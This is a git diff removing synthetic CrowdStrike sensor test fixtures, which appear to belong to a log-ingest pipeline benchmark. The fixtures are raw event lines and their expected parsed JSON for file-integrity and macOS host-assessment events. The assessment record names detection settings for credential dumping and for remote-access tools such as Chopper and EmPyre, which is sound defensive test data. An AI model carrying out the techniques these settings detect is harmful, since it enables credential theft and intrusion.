-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": [
-                    "192.0.2.1"
-                ],
-                "serial_number": "2e3d9c94d9c34764860b1f3b444c6d4d",
-                "version": "1007.8.0018308.15"
-            },
-            "process": {
-                "args": [
-                    "mv",
-                    "test.txt",
-                    "newname.txt"
-                ],
-                "args_count": 3,
-                "command_line": "mv test.txt newname.txt",
-                "entity_id": "56480700653114",
-                "executable": "/usr/bin/mv",
-                "name": "mv",
-                "pid": 21533,
-                "real_user": {
-                    "id": "1000"
-                }
-            },
-            "related": {
-                "hash": [
-                    "4077874319"
-                ],
-                "hosts": [
-                    "LINUX-TEST-HOST-01"
-                ],
-                "ip": [
-                    "192.0.2.1",
-                    "192.0.2.11"
-                ],
-                "user": [
-                    "testuser",
-                    "1000"
-                ]
-            },
-            "rule": {
-                "id": "F8874E50-FBA1-4D6E-8BB3-4B86CC269235",
-                "ruleset": "70FE2543-10EE-477E-B875-5D82C91D0C6E"
-            },
-            "source": {
-                "address": "192.0.2.11",
-                "as": {
-                    "number": 64500,
-                    "organization": {
-                        "name": "Documentation ASN"
-                    }
-                },
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": "192.0.2.11"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "Ext": {
-                    "real": {
-                        "id": "1000"
-                    }
-                },
-                "id": "1000",
-                "name": "testuser"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log
deleted file mode 100644
index 1bc60f9825..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log
+++ /dev/null
@@ -1,2 +0,0 @@
-{"AuthenticationId": "999","CommandLine": "\"C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging","ComputerName": "WIN-TEST-HOST-01","ConfigBuild": "1007.3.0020403.15","ConfigStateHash": "997826216","ContextProcessId": "23006475544","ContextTimeStamp": "1768081238.291","EffectiveTransmissionClass": "3","Entitlements": "15","EventOrigin": "1","GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe","ImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe","LocalAddressIP4": "192.0.2.10","ObjectAccessOperationType": "4","ObjectName": "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}","ObjectType": "3","ParentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\EDGEMITMP_BFB80.tmp\\setup.exe","PolicyIdentifier": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693","PolicyRuleGroupID": "E9EBD120-0D58-4F9B-81D7-D678D58A678F","PolicyRuleID": "B9902971-B750-40F0-81E6-BC5C60624E6F","PolicyRuleSeverity": "3","RawProcessId": "6208","RegType": "1","RuleModifiedTimeStamp": "","UserName": "WIN-TEST-HOST-01$","UserSid": "S-1-5-18","aid": "05831d09e02c4949a44cf99ffa54f2ed","aip": "192.0.2.1","cid": "2cc98db1a47b4c98b913c94d43bfab70","event_platform": "Win","event_simpleName": "FileIntegrityMonitorRuleMatched","id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0","name": "FileIntegrityMonitorRuleMatchedV11","timestamp": "1768081239013"}
-{"AuthenticationId": "89056942","CommandLine": "C:\\Windows\\Explorer.EXE","ComputerName": "WIN-TEST-HOST-01","ConfigBuild": "1007.3.0020403.15","ConfigStateHash": "3236037079","ContextProcessId": "21005463680","ContextTimeStamp": "1767954716.910","EffectiveTransmissionClass": "3","Entitlements": "15","EventOrigin": "1","GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\winlogon.exe","ImageFileName": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe","LocalAddressIP4": "192.0.2.10","ObjectAccessOperationType": "5","ObjectName": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\folder","ObjectNameNew": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\New folder","ObjectType": "2","ParentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","PolicyIdentifier": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693","PolicyRuleGroupID": "F8BE81CC-38EE-406D-8D42-5B748F35E5BD","PolicyRuleID": "BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84","PolicyRuleSeverity": "1","RawProcessId": "3060","RuleModifiedTimeStamp": "","UserName": "testuser","UserSid": "S-1-5-21-1234567890-1234567890-1234567890-1001","aid": "05831d09e02c4949a44cf99ffa54f2ed","aip": "192.0.2.2","cid": "2cc98db1a47b4c98b913c94d43bfab70","event_platform": "Win","event_simpleName": "FileIntegrityMonitorRuleMatched","id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b","name": "FileIntegrityMonitorRuleMatchedV11","timestamp": "1767954717566"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json
deleted file mode 100644
index 63dee427f8..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json
+++ /dev/null
@@ -1,297 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2026-01-10T21:40:39.013Z",
-            "crowdstrike": {
-                "AuthenticationId": "999",
-                "ConfigStateHash": "997826216",
-                "ContextProcessId": "23006475544",
-                "ContextTimeStamp": "2026-01-10T21:40:38.291Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe",
-                "LocalAddressIP4": [
-                    "192.0.2.10"
-                ],
-                "ObjectAccessOperationType": "SET",
-                "ObjectType": "VALUE",
-                "ParentImageFileName": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeUpdate\\Install\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\EDGEMITMP_BFB80.tmp\\setup.exe",
-                "Policy": {
-                    "ID": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693"
-                },
-                "PolicyRuleSeverity": 3,
-                "RegType": "1",
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0",
-                "name": "FileIntegrityMonitorRuleMatchedV11"
-            },
-            "device": {
-                "id": "05831d09e02c4949a44cf99ffa54f2ed"
-            },
-            "event": {
-                "action": "FileIntegrityMonitorRuleMatched",
-                "category": [
-                    "registry"
-                ],
-                "created": "2026-01-10T21:40:39.013Z",
-                "id": "fa2d4a8a-df61-4d4a-b1da-d04140d2faf0|05831d09e02c4949a44cf99ffa54f2ed|2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"AuthenticationId\": \"999\",\"CommandLine\": \"\\\"C:\\\\Program Files (x86)\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\143.0.3650.139\\\\Installer\\\\setup.exe\\\" --msedgewebview --delete-old-versions --system-level --verbose-logging\",\"ComputerName\": \"WIN-TEST-HOST-01\",\"ConfigBuild\": \"1007.3.0020403.15\",\"ConfigStateHash\": \"997826216\",\"ContextProcessId\": \"23006475544\",\"ContextTimeStamp\": \"1768081238.291\",\"EffectiveTransmissionClass\": \"3\",\"Entitlements\": \"15\",\"EventOrigin\": \"1\",\"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\\\MicrosoftEdge_X64_143.0.3650.139_143.0.3650.96.exe\",\"ImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\143.0.3650.139\\\\Installer\\\\setup.exe\",\"LocalAddressIP4\": \"192.0.2.10\",\"ObjectAccessOperationType\": \"4\",\"ObjectName\": \"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}\",\"ObjectType\": \"3\",\"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Program Files (x86)\\\\Microsoft\\\\EdgeUpdate\\\\Install\\\\{0ECB23C4-AD0D-47C3-803D-B27CB1F561CF}\\\\EDGEMITMP_BFB80.tmp\\\\setup.exe\",\"PolicyIdentifier\": \"A6E87944-7FC6-434D-ABBE-CDFFB14F7693\",\"PolicyRuleGroupID\": \"E9EBD120-0D58-4F9B-81D7-D678D58A678F\",\"PolicyRuleID\": \"B9902971-B750-40F0-81E6-BC5C60624E6F\",\"PolicyRuleSeverity\": \"3\",\"RawProcessId\": \"6208\",\"RegType\": \"1\",\"RuleModifiedTimeStamp\": \"\",\"UserName\": \"WIN-TEST-HOST-01$\",\"UserSid\": \"S-1-5-18\",\"aid\": \"05831d09e02c4949a44cf99ffa54f2ed\",\"aip\": \"192.0.2.1\",\"cid\": \"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\": \"Win\",\"event_simpleName\": \"FileIntegrityMonitorRuleMatched\",\"id\": \"fa2d4a8a-df61-4d4a-b1da-d04140d2faf0\",\"name\": \"FileIntegrityMonitorRuleMatchedV11\",\"timestamp\": \"1768081239013\"}",
-                "severity": 73,
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "hostname": "WIN-TEST-HOST-01",
-                "id": "05831d09e02c4949a44cf99ffa54f2ed",
-                "name": "WIN-TEST-HOST-01",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FileIntegrityMonitorRuleMatched",
-            "observer": {
-                "address": [
-                    "192.0.2.1"
-                ],
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": [
-                    "192.0.2.1"
-                ],
-                "serial_number": "05831d09e02c4949a44cf99ffa54f2ed",
-                "version": "1007.3.0020403.15"
-            },
-            "process": {
-                "args": [
-                    "C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe",
-                    "--msedgewebview",
-                    "--delete-old-versions",
-                    "--system-level",
-                    "--verbose-logging"
-                ],
-                "args_count": 5,
-                "command_line": "\"C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging",
-                "entity_id": "23006475544",
-                "executable": "\\Device\\HarddiskVolume3\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\143.0.3650.139\\Installer\\setup.exe",
-                "name": "setup.exe",
-                "pid": 6208
-            },
-            "registry": {
-                "data": {
-                    "type": "REG_SZ"
-                },
-                "key": "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\",
-                "path": "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\\\msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}",
-                "value": "msedge_cleanup_{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}"
-            },
-            "related": {
-                "hash": [
-                    "997826216"
-                ],
-                "hosts": [
-                    "WIN-TEST-HOST-01"
-                ],
-                "ip": [
-                    "192.0.2.1",
-                    "192.0.2.10"
-                ],
-                "user": [
-                    "WIN-TEST-HOST-01$",
-                    "S-1-5-18"
-                ]
-            },
-            "rule": {
-                "id": "B9902971-B750-40F0-81E6-BC5C60624E6F",
-                "ruleset": "E9EBD120-0D58-4F9B-81D7-D678D58A678F"
-            },
-            "source": {
-                "address": "192.0.2.10",
-                "as": {
-                    "number": 64500,
-                    "organization": {
-                        "name": "Documentation ASN"
-                    }
-                },
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": "192.0.2.10"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-5-18",
-                "name": "WIN-TEST-HOST-01$"
-            }
-        },
-        {
-            "@timestamp": "2026-01-09T10:31:57.566Z",
-            "crowdstrike": {
-                "AuthenticationId": "89056942",
-                "ConfigStateHash": "3236037079",
-                "ContextProcessId": "21005463680",
-                "ContextTimeStamp": "2026-01-09T10:31:56.910Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "GrandparentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\winlogon.exe",
-                "LocalAddressIP4": [
-                    "192.0.2.10"
-                ],
-                "ObjectAccessOperationType": "RENAME",
-                "ObjectType": "FOLDER",
-                "ParentImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                "Policy": {
-                    "ID": "A6E87944-7FC6-434D-ABBE-CDFFB14F7693"
-                },
-                "PolicyRuleSeverity": 1,
-                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
-                "id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b",
-                "name": "FileIntegrityMonitorRuleMatchedV11"
-            },
-            "device": {
-                "id": "05831d09e02c4949a44cf99ffa54f2ed"
-            },
-            "event": {
-                "action": "FileIntegrityMonitorRuleMatched",
-                "category": [
-                    "file"
-                ],
-                "created": "2026-01-09T10:31:57.566Z",
-                "id": "a9e7eae2-3f8e-44c9-b847-40cf2af49e2b|05831d09e02c4949a44cf99ffa54f2ed|2cc98db1a47b4c98b913c94d43bfab70",
-                "kind": "event",
-                "original": "{\"AuthenticationId\": \"89056942\",\"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\"ComputerName\": \"WIN-TEST-HOST-01\",\"ConfigBuild\": \"1007.3.0020403.15\",\"ConfigStateHash\": \"3236037079\",\"ContextProcessId\": \"21005463680\",\"ContextTimeStamp\": \"1767954716.910\",\"EffectiveTransmissionClass\": \"3\",\"Entitlements\": \"15\",\"EventOrigin\": \"1\",\"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\winlogon.exe\",\"ImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"LocalAddressIP4\": \"192.0.2.10\",\"ObjectAccessOperationType\": \"5\",\"ObjectName\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\testuser\\\\Desktop\\\\filevantage\\\\folder\",\"ObjectNameNew\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\testuser\\\\Desktop\\\\filevantage\\\\New folder\",\"ObjectType\": \"2\",\"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"PolicyIdentifier\": \"A6E87944-7FC6-434D-ABBE-CDFFB14F7693\",\"PolicyRuleGroupID\": \"F8BE81CC-38EE-406D-8D42-5B748F35E5BD\",\"PolicyRuleID\": \"BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84\",\"PolicyRuleSeverity\": \"1\",\"RawProcessId\": \"3060\",\"RuleModifiedTimeStamp\": \"\",\"UserName\": \"testuser\",\"UserSid\": \"S-1-5-21-1234567890-1234567890-1234567890-1001\",\"aid\": \"05831d09e02c4949a44cf99ffa54f2ed\",\"aip\": \"192.0.2.2\",\"cid\": \"2cc98db1a47b4c98b913c94d43bfab70\",\"event_platform\": \"Win\",\"event_simpleName\": \"FileIntegrityMonitorRuleMatched\",\"id\": \"a9e7eae2-3f8e-44c9-b847-40cf2af49e2b\",\"name\": \"FileIntegrityMonitorRuleMatchedV11\",\"timestamp\": \"1767954717566\"}",
-                "severity": 21,
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "Ext": {
-                    "original": {
-                        "name": "folder",
-                        "path": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\folder"
-                    }
-                },
-                "directory": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage",
-                "name": "New folder",
-                "path": "\\Device\\HarddiskVolume3\\Users\\testuser\\Desktop\\filevantage\\New folder",
-                "type": "dir"
-            },
-            "host": {
-                "hostname": "WIN-TEST-HOST-01",
-                "id": "05831d09e02c4949a44cf99ffa54f2ed",
-                "name": "WIN-TEST-HOST-01",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "FileIntegrityMonitorRuleMatched",
-            "observer": {
-                "address": [
-                    "192.0.2.2"
-                ],
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": [
-                    "192.0.2.2"
-                ],
-                "serial_number": "05831d09e02c4949a44cf99ffa54f2ed",
-                "version": "1007.3.0020403.15"
-            },
-            "process": {
-                "args": [
-                    "C:\\Windows\\Explorer.EXE"
-                ],
-                "args_count": 1,
-                "command_line": "C:\\Windows\\Explorer.EXE",
-                "entity_id": "21005463680",
-                "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                "name": "explorer.exe",
-                "pid": 3060
-            },
-            "related": {
-                "hash": [
-                    "3236037079"
-                ],
-                "hosts": [
-                    "WIN-TEST-HOST-01"
-                ],
-                "ip": [
-                    "192.0.2.2",
-                    "192.0.2.10"
-                ],
-                "user": [
-                    "testuser",
-                    "S-1-5-21-1234567890-1234567890-1234567890-1001"
-                ]
-            },
-            "rule": {
-                "id": "BD1D5FF7-551A-4AA5-9D9A-A3BCAAE5BA84",
-                "ruleset": "F8BE81CC-38EE-406D-8D42-5B748F35E5BD"
-            },
-            "source": {
-                "address": "192.0.2.10",
-                "as": {
-                    "number": 64500,
-                    "organization": {
-                        "name": "Documentation ASN"
-                    }
-                },
-                "geo": {
-                    "city_name": "Las Vegas",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 36.17497,
-                        "lon": -115.13722
-                    },
-                    "region_iso_code": "US-NV",
-                    "region_name": "Nevada"
-                },
-                "ip": "192.0.2.10"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-5-21-1234567890-1234567890-1234567890-1001",
-                "name": "testuser"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log
deleted file mode 100644
index 24929e164d..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log
+++ /dev/null
@@ -1 +0,0 @@
-{"FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","aid":"1111","cid":"2222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml
deleted file mode 100644
index 58718e1ca4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-fields:
-  "@timestamp": "2020-04-28T11:07:58.223Z"
-  tags:
-    - preserve_original_event
-  _conf:
-    long_fields: delete_long_fields
-    long_fields_max_length: 1024
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json
deleted file mode 100644
index 7794bf947f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json
+++ /dev/null
@@ -1,80 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-10-01T09:58:32.519Z",
-            "crowdstrike": {
-                "EventType": "ZeroTrustHostAssessment",
-                "HostHiddenStatus": "VISIBLE",
-                "assessments": {
-                    "analytics_and_improvements_mac": "yes",
-                    "application_firewall_mac": "yes",
-                    "crendential_dumping_hash_mac": "yes",
-                    "crendential_dumping_kcpassword_mac": "yes",
-                    "crowdstrike_full_disk_access": "yes",
-                    "execution_blocking_custom_blocking_enabled_mac": "yes",
-                    "execution_blocking_intel_threats_enabled_mac": "yes",
-                    "execution_blocking_suspicious_processes_enabled_mac": "yes",
-                    "file_vault_enabled_mac": "yes",
-                    "gatekeeper_mac": "yes",
-                    "internet_sharing_mac": "yes",
-                    "mac_os_version": "yes",
-                    "ml_adware_detection_mac": "yes",
-                    "ml_adware_prevention_mac": "yes",
-                    "ml_cloud_antimalware_detection_mac": "yes",
-                    "ml_cloud_antimalware_prevention_mac": "yes",
-                    "ml_sensor_adware_and_pup_detection_mac": "yes",
-                    "ml_sensor_adware_and_pup_prevention_mac": "yes",
-                    "ml_sensor_antimalware_detection_mac": "yes",
-                    "ml_sensor_antimalware_prevention_mac": "yes",
-                    "quarantine_mac": "yes",
-                    "real_time_response_enabled_mac": "yes",
-                    "remote_login_mac": "yes",
-                    "script_based_execution_monitoring_mac": "yes",
-                    "sip_enabled_mac": "yes",
-                    "stealth_mode_mac": "no",
-                    "system_full_disk_access_mac": "no",
-                    "unauthorized_remote_access_chopper_mac": "yes",
-                    "unauthorized_remote_access_empyre_mac": "yes",
-                    "unauthorized_remote_access_xpcom_mac": "yes"
-                },
-                "cid": "2222",
-                "os_version": "Sonoma (14)",
-                "product_type_desc": "Workstation",
-                "scores": {
-                    "modified_time": "2024-02-13T22:33:34.077Z",
-                    "os": 89,
-                    "overall": 97,
-                    "sensor": 100,
-                    "version": "3.8.1"
-                }
-            },
-            "device": {
-                "id": "1111"
-            },
-            "event": {
-                "created": "2020-10-01T09:58:32.519Z",
-                "id": "|1111|2222",
-                "original": "{\"FileContent\": \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\",\"aid\":\"1111\",\"cid\":\"2222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}"
-            },
-            "host": {
-                "hostname": "example-XXXXXXXXX",
-                "id": "1111",
-                "name": "example-XXXXXXXXX",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "observer": {
-                "serial_number": "1111"
-            },
-            "related": {
-                "hosts": [
-                    "example-XXXXXXXXX"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
